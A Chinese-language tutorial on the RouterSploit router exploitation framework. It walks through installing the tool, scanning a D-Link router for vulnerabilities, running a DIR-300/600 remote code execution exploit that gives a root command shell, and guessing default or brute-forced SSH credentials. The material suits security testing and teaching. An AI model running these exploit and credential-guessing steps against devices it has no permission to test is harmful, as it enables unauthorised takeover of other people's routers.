2.png

RouteSploit框架是一款开源的漏洞检测及利用框架,其针对的对象主要为路由器等嵌入式设备。

框架功能

RouteSploit框架主要由可用于渗透测试的多个功能模块组件组成,

1、 Scanners:模块功能主要为检查目标设备是否存在可利用的安全漏洞;

2、Creds:模块功能主要针对网络服务的登录认证口令进行检测;

3、Exploits:模块功能主要为识别到目标设备安全漏洞之后,对漏洞进行利用,实现提权等目的。

工具安装

 
sudo apt-get install python-requests python-paramiko python-netsnmp

git clone https://github.com/reverse-shell/routersploit 

./rsf.py

GitHub地址如上命令中所述为:RouteSploit

操作使用

首先,启动RouteSploit框架,具体如下所示

 
root@kalidev:~/git/routersploit# ./rsf.py 
 ______            _            _____       _       _ _
 | ___ \          | |          /  ___|     | |     (_) |
 | |_/ /___  _   _| |_ ___ _ __\ `--. _ __ | | ___  _| |_
 |    // _ \| | | | __/ _ \ '__|`--. \ '_ \| |/ _ \| | __|
 | |\ \ (_) | |_| | ||  __/ |  /\__/ / |_) | | (_) | | |_
 \_| \_\___/ \__,_|\__\___|_|  \____/| .__/|_|\___/|_|\__|
                                     | |
     Router Exploitation Framework   |_|

 Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
 Codename : Wildest Dreams
 Version  : 1.0.0

rsf > 

1、Scanners 模块

scanners模块,具备设备漏洞扫描功能,通过该模块,可快速识别目标设备是否存在可利用的安全漏洞,下面会以一个dlink路由器为例,结合进行操作描述。

(1)选择scanners模块,操作如下,

rsf > use scanners/dlink_scan
rsf (D-Link Scanner) > show options

(2)显示选项

Target options:

   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port 80 Target port 

(3)设置目标设备IP

rsf (D-Link Scanner) > set target 192.168.1.1 [+] {'target': '192.168.1.1'}

(4)运行模块,执行情况如下,

 
rsf (D-Link Scanner) > run
[+] exploits/dlink/dwr_932_info_disclosure is vulnerable
[-] exploits/dlink/dir_300_320_615_auth_bypass is not vulnerable
[-] exploits/dlink/dsl_2750b_info_disclosure is not vulnerable
[-] exploits/dlink/dns_320l_327l_rce is not vulnerable
[-] exploits/dlink/dir_645_password_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_rce is not vulnerable

[+] Device is vulnerable!
 - exploits/dlink/dwr_932_info_disclosure

如上所呈现的结果,目标设备存在dwr_932_info_disclosure漏洞。接下来,我们选择合适的payload进行传递和测试(以下涉及exploits模块功能操作,如需,请再往下查阅),

6.png

2、Exploits 模块

(1)选择Exploits模块,操作如下,

rsf > use exploits/
exploits/2wire/     exploits/asmax/ exploits/asus/ exploits/cisco/ exploits/dlink/ exploits/fortinet/ exploits/juniper/ exploits/linksys/ exploits/multi/ exploits/netgear/ rsf > use exploits/dlink/dir_300_600_rce
rsf (D-LINK DIR-300 & DIR-600 RCE) > 

我们也可以使用“tab”键来自动补充输入命令。

(2)显示选项

rsf (D-LINK DIR-300 & DIR-600 RCE) > show options

Target options:


   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port 80 Target Port

设置选项,操作如下,

rsf (D-LINK DIR-300 & DIR-600 RCE) > set target http://192.168.1.1 [+] {'target': 'http://192.168.1.1'}

(3)运行模块

通过使用“run”或“exploit”命令来完成漏洞的利用,

rsf (D-LINK DIR-300 & DIR-600 RCE) > run [+] Target is vulnerable [*] Invoking command loop... cmd > whoami root

也可检测目标设备是否存在选定的安全漏洞,操作如下,

rsf (D-LINK DIR-300 & DIR-600 RCE) > check
[+] Target is vulnerable

(4)显示具体漏洞信息

通过“show info”命令,显示漏洞信息,包括其存在的设备品牌、型号、漏洞类型及参考来源,具体参考如下,

rsf (D-LINK DIR-300 & DIR-600 RCE) > show info  Name: D-LINK DIR-300 & DIR-600 RCE  Description: Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.  Targets: - D-Link DIR 300 - D-Link DIR 600  Authors: - Michael Messner <devnull[at]s3cur1ty.de> # vulnerability discovery - Marcin Bury <marcin.bury[at]reverse-shell.com> # routersploit module  References: - http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router - http://www.s3cur1ty.de/home-network-horror-days - http://www.s3cur1ty.de/m1adv2013-003

3、 Creds模块

(1)选择模块

此模块相关文件位于 /routesploit/modules/creds/ 目录下,以下为该模块支持检测的服务,


?	ftp 
?	ssh
?	telnet
?	http basic auth
?	http form auth
?	snmp


在检测过程中,可通过两个层面对上述的每个服务进行检测,

默认服务登录口令检测:利用框架提供的各类路由等设备以及服务的默认登录口令字典,通过快速列举的方式,可在较短时间内(几秒钟)验证设备是否仍使用默认登录口令;

暴力破解:利用框架中所提供的特定账户或者账户列表进行字典攻击。其中包含两个参数(登录账户及密码),如框架/routesploit/wordlists目录中字典所示,参数值可以为一个单词(如’admin’),或者是一整个单词列表。

(2)控制台

rsf > use creds/
creds/ftp_bruteforce         creds/http_basic_bruteforce  creds/http_form_bruteforce   creds/snmp_bruteforce        creds/ssh_default            creds/telnet_default         
creds/ftp_default            creds/http_basic_default     creds/http_form_default      creds/ssh_bruteforce         creds/telnet_bruteforce      
rsf > use creds/ssh_default
rsf (SSH Default Creds) > 

(3)显示选项

5.png

(4)设置目标设备IP

rsf (SSH Default Creds) > set target 192.168.1.53 [+] {'target': '192.168.1.53'}

(5)运行模块


rsf (SSH Default Creds) > run
[*] Running module...
[*] worker-0 process is starting...
[*] worker-1 process is starting...
[*] worker-2 process is starting...
[*] worker-3 process is starting...
[*] worker-4 process is starting...
[*] worker-5 process is starting...
[*] worker-6 process is starting...
[*] worker-7 process is starting...
[-] worker-4 Authentication failed. Username: '3comcso' Password: 'RIP000'
[-] worker-1 Authentication failed. Username: '1234' Password: '1234'
[-] worker-0 Authentication failed. Username: '1111' Password: '1111'
[-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP'
[-] worker-3 Authentication failed. Username: '266344' Password: '266344'
[-] worker-2 Authentication failed. Username: '1502' Password: '1502'

(..)

Elapsed time:  38.9181981087 seconds
[+] Credentials found!

Login     Password     
-----     --------     
admin     1234         

rsf (SSH Default Creds) >